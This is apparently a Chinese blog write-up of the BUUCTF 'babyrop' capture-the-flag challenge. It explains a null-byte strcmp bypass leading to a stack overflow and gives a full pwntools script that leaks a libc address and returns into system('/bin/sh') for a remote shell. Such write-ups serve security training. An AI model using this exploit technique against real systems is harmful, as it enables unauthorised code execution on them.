BUUCTF—babyrop

先看看开了什么保护机制

打开32位ida

首先是从远程读入了一个文件,内容未知,然后执行sub_804871F

这个就是让我们输入一个0x20大小的内容,不够栈溢出,然后判断从远端读取的内容和我输入的是否一致,判断用的是strcmp,如果一致的话,buf[7]的大小返回给v2,接下来v2作为sub_80487d0的参数

这个就是如果参数等于127,就读入0xc8,这个大小很明显不够栈溢出,如果不等于就读入参数大小的内容,所以这个参数一定要大,所以我们现在要做的是如果能够让他判断返回一致,以及buf[7]要足够大,buf好解决,判断返回一致的话我们注意到strcmp,他有个特点就是遇到'\x00'停,那么如果我第一个就是'\x00'呢,我们尝试一下,结果如果第一个就是'\x00',那么就直接返回判断一致了,这个字符串截断就是好用,理解也好理解,一个是远端文件输入的内容,一个是空,两个一对比,空肯定和远端文件前面的一样嘛,这样就栈溢出了,接下来找后门函数

没有后门函数,而且题目给了libc文件,所以就是一个常规的libc地址泄露

from pwn import*
p=remote('node4.buuoj.cn',25730)
#p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('./libc-2.23.so')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=0x08048825
#gdb.attach(p)
payload=b'\x00'+b'a'*6+b'\xff'
p.sendline(payload)
payload=b'a'*0xeb+p32(puts_plt)+p32(main)+p32(puts_got)
print(hex(puts_plt))
print(hex(puts_got))
p.recvuntil('Correct\n')
p.sendline(payload)
#p.recvline()
puts_add=u32(p.recv(4))
print(hex(puts_add))
system=puts_add-libc.symbols['puts']+libc.symbols['system']
binsh=puts_add-libc.symbols['puts']+libc.search(b'/bin/sh\x00').next()
payload=b'\x00'+b'a'*6+b'\xff'
p.sendline(payload)
payload=b'a'*0xeb+p32(system)+p32(main)+p32(binsh)
p.recvuntil('Correct\n')
p.sendline(payload)
p.interactive()
posted @ 2022-10-07 16:20  予柒  阅读(105)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/